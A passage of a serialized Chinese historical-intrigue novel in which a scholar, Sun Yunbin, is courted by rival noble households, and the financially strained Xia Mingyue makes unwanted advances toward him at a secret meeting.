夏明嫣特别认可这一点:“所以人家才能成为一代权相,谁像我,我那父亲都那样对我了,上辈子到了最后我还是不忍心想要拉夏家一把。” “你那是为了老太太,不然也不会被他们拿捏。”华靖离感慨道。 这辈子是真不会了,有了华靖离这座靠山,朱老太太先把沈小娘放在了自己的庄子上,继而把那庄子当作补充的嫁妆给了夏明嫣,之后朱老太太自己也住了过去。 对外只说这虽然已经是孙女的嫁妆了,可自己住惯了,就想过去住着,再让沈小娘过去服侍,最多被人说成倚老卖老了一些,孙女婿和孙女都没意见,谁还能说出些什么了? 而那庄子上服侍的人,庄头和一个管事儿是夏明嫣自己做主找的,另一个管事儿和护卫都是华靖离这边找的,都是退军家眷,也不要他们纳身契,就按寻常工契给发工钱就行,哪儿还有服侍不好的。 夏庸想通过朱老太太刺探华家的私隐,可现在他连想给朱老太太请安都很难见到人,他拿夏明嫣就更是一点办法都没有了。 夏明嫣笑了笑,对此没说什么,以后她还有别的法子让夏庸难受呢,只是做女儿的整治自己的父亲,总不是很好看。 她还是把头带回到孙允斌身上:“既然他依然是一个可塑之才,还是得让他发挥更大的作用才行。我有个私心,就怕你会不愿意。” “你说,你我之间还有什么不能说的?”华靖离也很想听听眼前的小狐狸还有什么想法。 夏明嫣清了清喉咙:“当初咱们说好了,虽然要把他拉过来,却不需要他太快跟那边决裂,为的是让他自己慢慢选择,也是为了麻痹那边。” “现在你跟他谈过了,想来是欣赏他的才华的,那么你是不是疼惜他,不想让他这样一个人在污泥里打滚了呢?” 以她对华靖离的了解,就是孙允斌受不了李玦那边的龌龊手段,现在就要跟李玦摊牌,他也不会不答应。 第379章望山高 可是这样的话,等到孙允斌的状况好起来之后,他的能力和作为也会被朝廷注意到,想来圣人和其他朝廷都还是有可能去摘桃子的。 就好比楚霆孝,楚家的两个儿子论才具都只是中等之人,并无惊艳之处,楚霆孝早就想招揽门生为己所用。 早年间他招揽了夏庸,并且为了解决陆家的麻烦,让夏庸成了自己的女婿,可是夏庸只是占了时局得宜的便宜,恰巧兵部尚书的位子上需要一个平衡各方势力的中庸之人,并不是说他有大才。 像孙允斌这样的人,楚霆孝定然想要招揽的,而且他跟李玦可不一样,他不会用那种靠裙带的下作手段,就算要用这种手段,也一定会给孙允斌一个正经名分,就像夏庸一样。 彼时他们两个好不容易拉拔起来的人万一被人抢走了怎么办?那可就白费了一番心血了。 夏明嫣说起自己的那点小心思,很是不好意思:“我这么想是自私了些,可咱们现在要办大事,能耐和财力有都有限,有点什么还不得掰成两半花。” “这好不容易养出来的人,要是被别人给带走了,那我得怄死。我看,还是得让他继续跟卜小娘和端侯府那边周旋一阵子,只有这样,才能让他最大限度地体察到咱们对他的好和尊重。” “最好再用些手段,让他看到端侯府的人就恶心,这样等他知道了楚家和端侯府的关系,他想要跟楚家合作就得多思量思量,最好能让他杯弓蛇影,想到端侯府对他做了什么就对楚家感到后怕。” 孙允斌骨子里还是一个文人,将来也是文臣,除非逼不得已,不然他还是想保有尊严的。 就算楚霆孝开出更好的条件,孙允斌的风骨已经被养高了,也不至于轻而易举地就被钩了过去,好歹算是一重保障。 她重重地叹了口气,“虽说就算他被别人招揽了去,也多半还是给朝廷做事的。可凭什么我们栽培好的人要给别人呢,这不就成了给别人做嫁衣了?我生平最恨这种事。” 上辈子夏明嫣就是给夏明月做了嫁衣,千辛万苦维持下来的端侯府眼看着就成王府了,却成了别人的了。 华靖离笑着抚了抚她的软发,宠溺地道:“你不小气,我比你更小气,从前大气了一辈子,这回我也小气,这人就得牢牢地栓在咱们这条船上。” “让这个孙允斌多受点搓摩也好,多少文士从小到大都闷在书香里,见过的阴私手段太少。殊不知这跟女子有关的手段有时候才是那刮骨的刀,让他多见识见识,省得以后栽跟头。” 从古至今有多少大人物好不容易熬到了功成名就,最后却坏在了小事上。 孙允斌出身后族旁支,见过富贵,却没经历过大富大贵,这样的人将来最容易在小事上受诱惑、出问题,那就让他多经历一些吧。 他们这边说着,但很多话也不过说说而已,李玦干过最恶心的事之一就是用夏明月帮他拿捏住了孙允斌,这辈子夏明月可是他的正妻,他怎会再做出这样的事? 所以他们两个都觉得,要想让李玦好好地恶心孙允斌一把还需要时机,还得另行筹谋,谁知道这样的机会竟来得这般快。 这日孙允斌想到华靖离的要求,还让他跟端侯府那边联络着,同时也给他保留着重新选择的机会。 他之前跟李玦的来往其实不算多,他这些天见华靖离和夏明嫣待他尊重又和善,便有些怀疑自己是不是误会了李玦。 李玦劝他为了成事可以不择手段,大丈夫不拘小节,或许这只是说在朝堂上可以如此,劝他可以对华靖离这样的人物用计算计,并不是让他去跟华青青、夏明嫣发生那般的龌龊事。 孙允斌这些天经过了深刻的反省,清楚地认识到了他比他自己从前认识到的还要见识浅薄,很多事他从前听过,却没见过,更没做过。 如今他真与这样的人物接触上了,那感觉完全不一样。也正因为如此,他开始怀疑他误会了李玦。 他这个人多少还有些轻佻,他心里虽然更信服华靖离和夏明嫣,可到底存了些希冀,想在别处再看看。 对李玦,人家好歹是一个将要袭爵的侯爷,就算最终这合作不成了,也不应该得罪了人家。 将来都是要打交道的,他要是能把李玦这边安抚住了,也算结了个善缘,将来场面上遇上了,也不至于闹得不好看。 而且要是李玦真是个小人的话,那就更不能得罪他了,落下埋怨了,万一他再给自己在暗处设绊子怎么办? 孙允斌现在充分认识到了他这个外戚旁支和真正侯门的区别,端侯府再是破落户,李玦也是当朝左相的外孙女婿、兵部尚书的女婿,他就算不怕李玦,还能不怕楚家和夏家了? 尤其是他打听了一番,知道夏明嫣似乎跟娘家的关系不好,也就意味着这当中没什么转换余地。 这样以来,无论李玦是怎样的人,他还真就要把端侯府那边摆平了,而且要是他最终还是要选择李玦,他在观望的时候,就更得注意维系那边的关系了。 孙允斌自己都觉得自己这回做了小人了,先是硬着头皮去寻了卜小娘,想让她代为传信,说是李玦去北疆的事可能要没戏了,要让李玦早做准备。 可卜小娘一听就垮了脸,先是怪他没有拿捏住夏明嫣,这枕头风没吹成,竟然把这么大一件事给弄黄了。 李玦最近就指望这件事了,要是告诉他北疆去不了了,那还不得吃他一通排揎,怪她办事不利。 而且卜小娘自己也觉得冤枉,这事儿不是她办的,她就是一个传话的,到时候还得因为这个给李玦留下不好的印象。 万一因为这个让李玦觉得她跟华靖和母子都是不能成事儿的,那可就影响到他将来对华靖和的帮扶了,这可就成了因小失大了。 于是,卜小娘便无声地冷笑了一下,挑眉道:“这事儿当中内情太过复杂,我怕我一个妇道人家说不清楚,还是你自己去说吧。” “你啊,还年轻,没经过事儿,你得抓住机会,多跟世子走得近些,将来才好攀交情。” 第380章意想不到 卜小娘说完,还状似不经意地在孙允斌的手背上轻抚了两下,眼中露出腻歪的目光。 这一下子把孙允斌恶心得够呛,差点就吐出来了,他本来就是想自己去见李玦,来找卜小娘只是按照行事规矩走个过场。 要是让李玦知道他不能去北疆了,他定然要恼羞成怒,去给他报信的人也得不了好果子吃。卜小娘听到这样的坏消息,定然不会再想自己去传信,定然会让别人去。 其实李玦究竟能不能去南疆根本就没有准信,这件事本就是华靖离让孙允斌拿去试探李玦,给他创造选择的机会的,他清楚卜小娘不会给他传信,最后还是得他去。 只是他没想到,这卜小娘居然还敢这般轻薄于他,可是自入府以来,他对卜小娘尊敬有加,一声声的“卜夫人”地叫着,却不想他竟然这般对他。 卜小娘自己还没有意识到,她已经容颜老去,而这些年只专注于内宅,更是让她无甚见识,让她整个人看起来都有一种油腻之感。 呵,卜小娘还把自己当作二八年华的少女呢,这要是夏明嫣、华青青那样的年轻女子他还能忍,换了卜小娘,他恨不得当场就一脚踹过去…… 但孙允斌面上只是向后一躲,还维持着礼貌和客气:“卜夫人教训的是,小生受教了,不知小生要如何跟世子联系?” 府外联系由卜小娘负责,前几年她求了姜定武在外面置办了两间铺子,也不求能挣多少银子,只是给她自己在外面有个去处。 卜小娘借着去上香或是去铺子里看看时常能出府,反倒是孙允斌刚入府,每十日才有一日沐休,联络的事才交给卜小娘。 孙允斌就是想把这联络的权利直接握在手里,只要他得到了这样的机会,只要一两回,以后就没卜小娘什么事了。 卜小娘没有想到这一层,她反而很欣赏孙允斌“羞赧”的样子:“这还真是巧了,今日就是联络的日子,一会儿你找个借口出去,就说是孙家有人来寻你了,告个假。” “然后拿个茶叶罐子放到前头那条街上茶铺门口的窗棱上,一会儿就会有人来寻你,带你去见世子。要是世子不在,也会有府上的管事儿待你去问话。” “除了世子,那边府上的人你也得多认识几个。别看那边现在不如这边,可毕竟是侯府,该有的建制都还是有的,你可不能学那些小家子气的。” 孙允斌和李玦结实时还没出吕家那档子事儿,当时李玦已经向他引荐了府上的管事儿,只是如今何夫人入狱,听说已经定了择日要送往寺中清修。 那地方说得好听些是寺院,实际上便是比牢狱稍好一些监禁之处罢了。里面的日子清苦,常常月余都不见一点油星。 平日里更是有上头的道姑管束,因为里面关着的都是犯了律例从前却有些身份的妇人,若是有不听管教的时候并不会责打,可是抄经、罚跪、禁食却是少不了的。 何夫人以后想跟府里再有联络,怕是难了,于是这端侯府中的人事任用便也调整了一番,也不知道如今李玦引荐给他的那位管事儿是否还在原来的位子上了。 孙允斌再次应了,卜小娘又交待了他几句,让他记得把华靖离身子有异甚至影响了子嗣传承的事告诉李玦,二人这才散了。 孙允斌在夏明嫣那儿告了假,顺利地走出了钩翊侯府的大门,很快便将侯府里最常见的一个茶叶罐子放在了茶肆的窗棱上。 他等了不到一个时辰,原以为来的会是李玦新委任的管事儿,没想到却来了一个侍女,低着头把他引入了茶肆后边一座僻静的偏院。 元京这些个食肆、茶肆为了招待贵人,除了雅房,有些也会有这样的小院子,临时给贵客使用。 孙允斌一开始还以为李玦亲自来了,正自觉受宠若惊,进了门才发现不对,那屋中竟是一位女子。 那女子容貌极艳,虽然因为外出没有按品级穿着大衣裳,却也是极为富贵的。那衣裳描金斗艳,她头上的首饰也是不凡,不是外头卖的那些。 仔细看眉眼间竟然与夏明嫣有几分相似,再看年纪,也相差无几。只是夏明嫣的装束没有这么招摇,而是透着更多的清雅和意趣罢了。 孙允斌很快就明白这人是谁了,这就是夏家的二姑娘、如今的端侯世子夫人夏明月! 要说女子出来主事还分担了夫君的秘事,眼前的夏明嫣就是一个很好的例子,可是他直觉夏明月不是这种情况。 说实话,夏明嫣之前故作亲近的试探他,之所以凑效了,有很大一部分因素都是他自己吓唬自己,现在回想起来,很多细节都是很有分寸的。 而且夏明嫣只是嘴上说了些过分的话而已,行动上却没有逾矩,可夏明月却不是了。 夏明月也不像是故意要跟他发生什么,就好像什么都做惯了一样,在这小小的后院里,姿态和随行带来的摆件都太过随意,就好像随时都可能要跟他发生什么似的。 夏明月的声音从里间传来,她正在跟身边的侍女巧兰说着什么: “这世子也是怪了,自己过不来,也不说叫个管事儿来见人,怎么就叫我来了?也不知道是个什么人,也配劳动我走这一趟。” “昨日还在怪我那日在公堂上不帮着婆母呢,今日倒是求到我头上了,还连着给我赔了几个不是。等会儿这人来了,要不是个人物,就别怪我回去跟他闹。” 何夫人这一走,眼看着至少要在寺里待个十年八年的,夏明月是彻底在府里掌了权了。 老端侯早已过世,只是因为那件事李玦没有袭爵罢了,何夫人早就守了寡,按理说这正经的媳妇一过门就得张罗着把中馈交到未来宗妇手里了。 就算这儿媳妇不善持家,身为婆母,也是上一代的侯夫人,也该把人尽可能地待在身边教导才是。 第381章揭不开锅的端侯府 可是夏明月无法胜任不说,因为过去的事,何夫人要防着夏明月,迟迟都没有把掌家之权交给她。 现在何夫人落了罪了,将来有没有命活到回来还两说,就算回来了,身负罪名,又怎能再掌家业? 这下子夏明月算是抖起来了,她不顾李玦对她的怨怼,回去之后就马不停蹄地接掌了端侯府的中馈,把府里上上下下管事儿的都换了一遍。 她自己陪嫁过来的人手不够,还回了夏家借了一些人,事发突然,夏家也没个准备,人还是不够,没法子,她又到外面连买带聘的弄了些人回来,才把空缺填补了。 夏家只是一代而立的尚书府,就是楚家也只是相府,虽说端侯府已经败落了,可就规制上这两家还是与侯府有些距离或说是不同之处的。 因此无论是夏家过来的人,还是外头来的人,一时间对府里的这些事儿都无法尽数掌握,弄得一团乱。 这些天夏明月忙着处理这些事儿,把自己折腾得焦头烂额,自然没工夫弥合她跟李玦之间的嫌隙,还怪李玦不知道体谅她。 夏明月还在继续抱怨着:“别说不敬婆母,我这婆母就是不会教子也不会持家,从前的端侯府家底儿多厚,她跟阿玦哥哥也没见有太大的花销,这府里怎么就只剩下那点儿存银了呢?” “这日子都没法过了,他居然还有空去想我那婆母要吃多少苦,还怪我在元京府衙时不帮他们。人家人证物证俱在,还弄出一个孩子来,我都那样帮他们了,不是没用吗?” “呵,连我们夏家、楚家都敢耍,去寺里清修,那都是便宜她了,横竖里面有吃有喝的,还不用她劳作。现在眼看着侯府的体面都要维系不下去了,他还有空管这些?” 夏明月可没想过端侯府就是个空壳子,她嫁过来之前,楚氏就暗示过她,说端侯府为了他日东山再起,在背地里筹划着一些事情,想必花销是不会小的。 她那时候只觉得男子有大事要办很正常,李玦和端侯府要是像表面那样甘于现状,她才不愿意呢。 她要嫁的阿玦哥哥一定是一个惊天伟业的大丈夫,表面低调是为了麻痹对老端侯不满的圣上,私下里定是在为将来图谋的,将来他不仅能够袭爵,还能官居高位! 夏明月小时候曾经听楚霆孝提起过,曾经的李家,在南疆那可是雄霸一方的,就跟现在华家在北疆一样。 她后来就在想,等到她嫁给了李玦,将来李家一定能恢复昔日的荣光,而在这当中她跟夏家、楚家定然都是出了力的,李玦定然会更加爱她如命,将来她在府中不仅地位无人能够超越,那还会是李玦此生深爱且最敬重的女子! 可是筹备大事要花银子,不代表家里就要过苦日子,现如今端侯府的府库里就剩下两千多两银子了,这日子可怎么过! 寻常人家,三五两银子就够一家三四口一年的口粮了,侯府光是下人就有多少,宅子年年都要修缮,还有平日里应酬、打点用的银钱,光是四时八节的节礼就不知要多少。 李玦不为这些事儿忧心,还想着一个犯了大罪的何夫人,简直岂有此理! 在她看来,何夫人干了那种事儿还被人给发现了,还把好好的端侯府打理成这副模样,有今日的下场,纯属活该,让何夫人在寺里吃斋、清修,还便宜她了呢! 这让夏明月还不得不想到一件事,就是刚成亲那会儿,夏明嫣私下里把一匣子彩宝和一把名匠所铸的宝刀还给了她,说这是端侯府给华靖离的新婚贺礼。 那两样东西可是价值连城啊,她原来还以为能拿出这两样东西做贺礼,不是李玦对华靖离这个义兄至少表面上尊重有加能做到的,还得是端侯府家底厚! 正常来说也的确应该如此,南疆比北疆富庶许多,那个年月还有海贸,李家的战船、商船在海上可是雄霸一方的,当年本就应该攒下家底。 而且那些家底不是端侯府二十年只维持寻常花销能花完的,怎么就只剩下这么少了呢? 她现在一门心思都在打理庶务上,希望今年能多收回来点银子,好歹把今年的应酬撑下来。 如今想想,李玦能拿出那两样东西做贺礼,还是有求于华靖离,想获得去北疆历练的机会,之后有了军功才好转道回南疆自家昔日的地盘,为了这些,才下了血本了。 好在夏明嫣那时还未得势,胆子小,应该也是觉得收这么厚的礼不合适,又想着讨好家里,直接把这两份礼给了她。 要不是夏明月怎么回忆都记不起夏明嫣当时脸上有一丝嘲讽之意,她都要怀疑夏明嫣不怀好意了。 夏明月刚想说让巧兰去打听打听,这两样东西在哪儿出手比较好,要是能卖了,说不好这两三年的花销就有了,就听到外面响起了脚步声。 “这人是来了?怎么没人通报?”夏明月很是不悦。 她今日本来想去端侯府的那几间铺子里转转,竟然突然被冷了她几日的李玦请了过去,让她来见一个府里派出去的人。 还说是派去华家的,说是现在跟华靖离的关系坏了,要是在那边再没个人,恐怕日后会错过机会。 还暗示她,说这人聪明、有天赋,要是她不想让夏明嫣好过,将来也可以通过此人达到目的……她这才来了的。 巧兰在一旁有些尴尬地道:“夫人,咱们身边的人都分到府中各处做管事儿了,现在的这些人都是外头请的,府里的规矩还不熟悉。想是把人迎进来之后忘了,夫人您多担待些,奴婢这就去看看。” 巧兰兀自去了,看到孙允斌,先是愣了一下。 此人仪表不凡,虽没有李玦那样的俊朗和华靖离那般的英武,却有一种非常笃定的气质,还大有清风朗月之感。 巧兰跟夏明月不一样,她素来敬重读书人,心里想着她们家世子这回倒是找了个不错的帮手: “是孙公子吧?这边请,夫人在里面等着呢。你别担心,我们夫人最好说话了。” 第382章一盘散沙 巧兰是个懂事儿的,从前在夏家就听楚氏说过,要尽量对这些得力的下属和善些,尤其是对这样一看就是读书人的,得尊重才行。 她可不是夏明月,孙允斌再是外头的,如今再名不见经传,人家也是读书人,将来说不好什么时候就比自己强上许多了,结个善缘,至少将来不至于因为得罪了人家而遭罪。 孙允斌只默默地行了个礼,他的心思已经不在这儿了,此刻他心里想的都是刚刚不经意间听到的夏明月说的那些话。 端侯府都已经要连日子都过不下去了? 他小时候就听说过,有些高门大户,表面上过得风光、体面,背地里早就靠典卖田产和旧物度日了,族中长辈所言果然非虚啊。 这样的端侯府真能给他一个前程,撑得起自己的梦想么? 孙允斌是一个很会为自己打算的人,同时他也有他的见地,他想要得到高门的扶持,可他也不见得非得挑一个富甲一方的人家。 门第要有一些,因为在这个时代,有了门第、地位,才能有更多的机会,才能在拥有更多财富之后守住财富。 可这关键还在于人,这一家子主事人本身的才具很重要,另外就是看这一家子能不能上下一心。 就像钩翊侯府那样就很好,华靖离和夏明嫣夫唱妇随,华叶峰、董氏和华靖和虽然起不了多大作用,可也没见他们在大事上添乱,因此这些人相处和睦,上上下下都很满意。 就算出了一个背弃家族的卜小娘,她连自己的亲儿子都说不动,也不足以撼动这种上下一心的大局。 可端侯府就不一样了,从夏明月刚才那番话里可以听出来的首先就是婆媳不和,之后就是夫妻不能一心,再就是这母子之间恐怕也有嫌隙。 虽然他之前只与李玦见过两面,可他看得出来,李玦不是一个能打落牙齿和血吞的人,这个人对颜面非常的重视。 李玦要是知道自己府里就剩下两千两银子了,还能如此泰然自若么?他不这么认为。 在他看来,李玦至少在之前并不知道这一实情,这就说明何夫人从前是瞒着自己的儿子苦苦支撑的。 李玦若是个十来岁的少年或是更小些,她这么做还说的过去,可李玦都二十多岁了,都成亲了,这何夫人竟然还不让他承担府中重担,这可不能单单解释为寡母心疼儿子了…… 也不仅仅是对儿子不放心,因为李玦也没有差到非可塑之才的地步,要是别人家有这样的儿子,既然外头的差事还未定下,那就该先把家里的这些事儿抓起来才是。 他并不是说李玦要亲自管理家中庶务,但就算交给别人去管,他总得心里有数才成吧?如今这样算什么? 而且这里还有更要命的一点,这个何夫人很可能是一个控制欲很强的人,什么都想抓在手里。 他现在最怕的就是,李玦从前一直被何夫人“扶着”走路,这猛然一放手,他连路都走不稳了。 更何况一直被这般控制的儿孙,一旦脱离了束缚,很可能会更加恨曾经束缚他的人,如此又多了一桩母子不和。 可这样以来,更大的问题就来了,何夫人是突然被揭发关进去的,端侯府大小事务的传承根本来不及安排,现在夏明月明显也是焦头烂额,再这么下去,端侯府何以为继? 要是端侯府只想做一个寻常的富贵勋爵之家也就罢了,可他们是想办大事的,这种时候夫妻、母子皆不和,家底还薄成了这样,这该如何是好。 “小生奉世子之命来送消息,见过夫人。” 孙允斌的脚步异常沉重,导致他比平时看起来沉稳许多,这时候他心里还抱有一丝希冀。 这夏明月是楚相的亲外孙女,又是夏庸和楚氏带在身边长大的,言传身教,耳濡目染,说不定方才只是不知道有外人进来了,私底下抱怨几句,实际上为人处事能像夏明嫣那样呢? 毕竟他也没见过夏明嫣私底下什么样,他来元京之后学会的第一件事就是—不要小瞧任何一个人,说不定这夏明月也是一个贤内助,能辅佐李玦迅速地步入正轨呢。 夏明月看到孙允斌时愣了一下,她没想到被李玦派到华家的眼下是这么一个沉稳的年轻书生,她这些日子受够了李玦对她的冷脸,她巴不得李玦能够成熟起来。 可是李玦哪里会依她,这么一看,她反而在孙允斌身上找到了李玦身上找不到的那份稳重和现实: “这位公子就是我夫君说起的孙氏后族之后,孙公子?巧兰,快,看座。” 夏明月看起来对他还算尊重,孙允斌先是松了口气,先客气地寒暄道:“小生头一次见夫人,来之前还以为会是府上哪位管事儿来代为接信,没想到竟然有幸见到夫人。” “世子最近事忙,这会儿怕是在元京府衙,府上最近有些人手变动,这就让我来了。有什么便说吧,我听着呢。” 夏明月对那些事儿漫不经心,要是这些事儿真的重要,李玦是不会交给她办的,这一点她有自知之明。 这种自知之明是她嫁过来之后才有的,李玦可以对她很好,把府里最好的吃穿用度都给她,私下里有什么心事也会跟她说,可唯独外面的这些事,他根本不会跟她说。 李玦这个人男主外、女主内的观念颇重,在他的观念里,女人就不该管外面的事。 他过去之所以能容忍何夫人管着整个端侯府,那是因为老端侯早逝,那时他还小,后来他长大了,又不好开口把权利收回去,总之那是不得已的事。 可是对她,没有什么不得已的,她就该做个高门内宅的贵夫人,不该管这些事。 她对这样的安排没有异议,更没有抱怨,她甚至觉得这是对她的一种爱护,是他不想让她太过辛苦。 本来么,一个高门夫人,要不是逼得没办法了,再要不是本身前头几代的出身有问题,到了这一代才形容粗鄙,才不会让一个妇人抛头露面,做这种不体面的事呢。 第383章命运重演 就像夏明嫣,还不是因为董氏不济事,华叶峰又不会处理元京的这些关系,才轮到她出头的么。 像她夏明月就是命好,无论是在闺中,还是出嫁之后,这些外面的事儿都不用她操心。对外面的事儿,她办过最烦、最累的,不过是前些日子办了场赏花宴而已。 李玦对这一点也是认可的,可是他为什么突然让她来见孙允斌,一个愿景捐官无门的落魄外戚旁支? 夏明月一边听着孙允斌说他从钩翊侯府打探来的消息,一边琢磨着李玦为什么要让她来见孙允斌。 孙允斌态度恭谨地说着那些在心里掂量了好几遍的那些可以说的话: “……别的倒是没什么,就只是华侯的身子恐怕并没有真正康复,别的问题暂时看不出来,平日里坐卧、理事都一切如常,就是听说子嗣上怕是要艰难了。” “那些个妾室都是摆设,都去服侍他们府上的老夫人去了。就是夫人,也就是您的长姐,现在也把心思放在庶务上。” 孙允斌没说夏明嫣逗着他玩儿的那段事儿,在他心里,既然是试探就没必要说,况且说了,他自己面上也不好听。 有了这些消息,一般人也够了,接下来定是要商讨该如何利用这些事儿,偏偏夏明月不是一般人。 夏明月现在关心的反而是夏明嫣,因为她早就知道华靖离上辈子有六个妾室,都没能留下子嗣: “这些事儿不用说也能猜到,不过……你这些消息是从哪儿知道的?是华侯的那些个妾室,还是……我那个好长姐告诉你的?” 这本是一个借用内宅矛盾挑起争斗的好机会,孙允斌压根没想过夏明月会这么问,好在这个问题他也想过: “小生先是从华侯妾室邓小娘那里听出了端倪,之后设法偷看了府医那里的脉案,是在一个暗格里。” “暗格?你这般文弱,能去开暗格?你是能躲过当班的护卫,还是能翻墙越脊?” 夏明月笑了起来,看着孙允斌的目光一下子变得轻浮起来,她对钩翊侯府的守卫和护卫巡视方式还是了解的,所以压根不信, “让我猜猜,能知道的这么清楚,是我那好姐姐给你行的方便吧?你说是邓小娘说的,我看不像,她才进府多久,华侯能对她交了心?” “她这个人身子弱,说话也细声细气儿的,华侯一时间还不回对她太信任,关键的事儿还得交给我那好姐姐。” “你入府不过三日,就能知道这些隐秘,还如此肯定,定然是她告诉你的,对不对?说说吧,你是怎么讨了她的欢心的?” 孙允斌心里咯噔一下,夏明月大事儿上见识不如夏明嫣,可是对内宅的触觉却相当敏锐,这件事的确是他没周旋好。 这内宅之中的事和人一样能决定成败,他倒不是不认可夏明月的眼睛只盯着内宅,他是从夏明月的眼中看出了轻浮和玩弄的意味。 说实话,他那日之所以敢跟着夏明嫣去那间书房,是因为他始终都有一种感觉,认为夏明嫣不会真的轻薄于他,他的很多反应,更多的是自己吓自己。 他回头想想,夏明嫣眼中永远是带着笑意却是干净的,不像夏明月这样,这也才是他一开始既有印象里那些行事放浪的高门贵女们该有的样子。 他当即便感觉很不好,甚至有了一种羞耻感,可当中通过华青青和夏明嫣入局的主意本就是李玦出的,他们夫妇实在不该拿这件事取笑、羞辱他。 可是他今日只见到了夏明月,没有见到李玦,他做事还是要跟着李玦的。这也可能是夏明月是这样的人,但李玦不是……他还不想就此撕破脸。 他只能故作忐忑地认下,说了一个能说得通的理由: “这……小生的确讲了一些近来卢阳的趣事,华侯夫人思念故里,就多与小生说了几句。她当时喝了酒,就说多了,之后特意叮嘱小生不要说出去,想必是真的。” 夏明月把嘴里的葡萄皮儿吐了出去,笑得愈发厉害了:“你说这些我可不信,我那长姐是何许人也?在四位女师的眼皮子底下,还懂得装乖巧、装木讷。” “她会喝点儿酒就找不着北了?我知道了,定是你使了什么手段……她跟华侯的感情没有那么好,对不对?所以你才有机会趁虚而入了……” 夏明月说着,看孙允斌的眼神儿都变了,此刻她就像在看一个男宠,一个随时可以赏玩的玩物。 她也是这时候才开始发现孙允斌这人其实很耐看,有一种说不出来的感觉, “你啊,只是孙家的旁支,不知道这些内宅私隐也正常。你也别自诩才高,觉得面子上过不去,像你这样的人,元京多的人,有财有势,什么人招揽不来?” “能懂得利用自己的优势,别管从哪儿下手,能得手就是好的。你能得女子欢心,也算是一种本事了。你这样的,很不错,我就不喜欢那些读书人,平时装得跟什么似的,可背地里还不是看谁有路子,他们就去亲近谁?” “你能自己弯下腰,这没什么不好的。不过,我也不怕告诉你,你在我长姐那儿八成是得不到太多消息了,她现在想必正后悔对你说的太多了呢。” “我看不如这样,你回去就想法子从钩翊侯府出来吧,来帮着我做事?我么,说不定对你比我长姐对你更好呢?” “这这这……夫人,使不得,小生万万不敢,还请夫人饶了小生吧。” 孙允斌赶忙站起来推却,这回确实是被吓到了,同时他也被羞得厉害,整张脸都红了起来。 夏明月本就是跟李玦生了闲气,想拿孙允斌解个闷儿,却不想他的反应如此纯真,她当下反而真来了兴致了,伸手就抓了孙允斌的手过去: “何必呢,高门中多有这样的事,我也是成了亲的人,难不成还会把你的这点儿事儿说出去,坏我自己的名声不成?你若跟了我,只管放心,以后就来这院子中相会,保准没人知道。” 第384章她要一报还一报 孙允斌这回确定不是自己吓自己,他敢确定夏明月是来真的,这可不是被轻薄几下的问题,这是真的想把他收入帐下啊。 夏明月的容貌也称得上沉鱼落雁,可孙允斌被她这么一笑吓得汗毛直立,胃里甚至忍不住开始犯恶心: “夫人……小生不能对不起世子,夫人高洁,小生不敢……小生只想为世子做事,况且夫人您都知道了,小生用此计接近华侯夫人,要是再与您……这成何体统啊?” 孙允斌也顾不上什么体统不体统的了,他宁愿跟夏明嫣有些什么,夏明嫣是长姐,夏明月总不好夺长姐的“心头好”吧。 况且夏明月现在还只是世子夫人,夏明嫣是侯夫人,还得了二品的诰命,这夏明月怎么也得让着点吧? 夏明月却更来劲了:“体统?要说不讲体统,也是她夏明嫣先不讲体统的。你别看她表面上正经,背地里谁知道是个怎样的人?” “卢阳是旧都,虽然偏僻了些,那些深宅大院有什么你也不是一点都想像不到吧?想你们孙家难道就没有这样的事了?你不必这般小心,你是男子,不过是多几件韵事,怕什么。” 说着夏明月还要伸手把孙允斌拉过去,孙允斌连退了三步,用自己最快的语速道: “夫人,小生还有一事禀报,世子想去北疆历练,华侯意欲反悔。本来出了华二公子的事之后就不太可能,这中间又牵扯到了邓小娘,还请夫人转告世子……小生告退。” 孙允斌也不管夏明月听没听清楚,更是没想过跟她商讨对策,逃也似地跑了。 他要出这院子,自然有人拦他,他不想闹出动静,也不叫不喊,直接从池塘边抓了快石头握在手里,谁拦他,他就作势往自己脑袋上砸。 最近端侯府闹出的动静已经够大了,孙允斌好歹是孙家人,如今又在钩翊侯府做事,这些人怕闹出人命,不得不放他出去。 孙允斌离开之后,巧兰才敢劝夏明嫣,她小心翼翼地说:“夫人,这不好吧?先不说这孙允斌与华侯夫人的关系,他不过一个落魄的外戚旁支,功名不过秀才。” “这长相也比不上世子,夫人您可不能因为他再跟世子生了嫌隙啊。世子最近正因为老夫人的事怨怼您,您可千万不能再因为这件事跟他闹别扭了。” 高门主母凭靠的绝不仅仅是出身,有很多事是娘家和外家顾全不到的,夏明月得先把整个端侯府攥在手里,才能用她的出身压李玦一头。 否则她还是得遵从女子出嫁从夫这一套,就像楚氏,夏庸由着她在背后做一系列的事,包括那般对待夏明嫣,那是因为楚氏不论如何,尚书府内和在外的妇人间的周旋,她都处理得很好。 反观夏明月却还差得远了,尤其上回回去时,楚氏明里暗里地说,待夏明月能掌握端侯府中馈,就让她试着去碰触端侯府的根基,去彻底替代何夫人的位置。 这背后明显有事,楚氏未曾挑明,巧兰便只能不动声色地督促她,让她抓紧点,这样才能达到楚氏的要求,早点帮上家里。 可是夏明月却说了,举凡大族,背后都有不能为人道的事,等到时候到了,早晚都是他们夫妇的。 还说,这事儿既然之前是何夫人管着的,恐怕李玦将来也无暇既管外面的事又管那件事,早晚还是要给她的,这样的话,有什么好急的? 她还想再跟李玦柔情蜜意几年,生下长子,把地位稳固下来呢,管那些大事,她都不知道要掉多少头发呢。 巧兰原本还抱着希望,以为夏明月刚才是故意羞辱孙允斌的,或是想从孙允斌这儿探听一些夏明嫣的事儿,才故意这么做的。 没想到,夏明月却认了真了:“怕他不高兴?他跟吕家女在一起的时候,还跟我暗通书信、情意绵绵呢,他可怕我不高兴?我这叫一报还一报。” “我从来不信他这辈子只会有我一个,可他不能骗我,更不能动摇我的地位,他把庶长子都接回家了,还不许我在外面玩儿玩儿了。” “我瞧着这孙公子是个知情识趣的,还这般的腼腆,是个有意思的。我跟他一起,也能找几分乐子。他要是怪我,也不会怎样的……用一个男子弥补一下他对不起我的那些事,不是应该的吗?” 夏明月有恃无恐,凭什么李玦能在外面有女人,还把孩子接了回去,这还不止,说是为了安抚元京府和民意,也为了孩子名分上好看,还把那个吕家的女人记成了妾室,还是良妾。 大恒律法有制,贱妾才可买卖,不入族谱,贵妾、良妾可都是要入族谱上官碟的,地位视同家中亲属。 吕大姑娘成了良妾了,那孩子自然就成了名正言顺的庶长子了,这可就全都不一样了。 夏明月很自信自己将来能生下嫡长子,可是嫡长子虽能继承爵位和至少一半的家业,但年纪上的优势却不如这先生下来几年的庶长子。 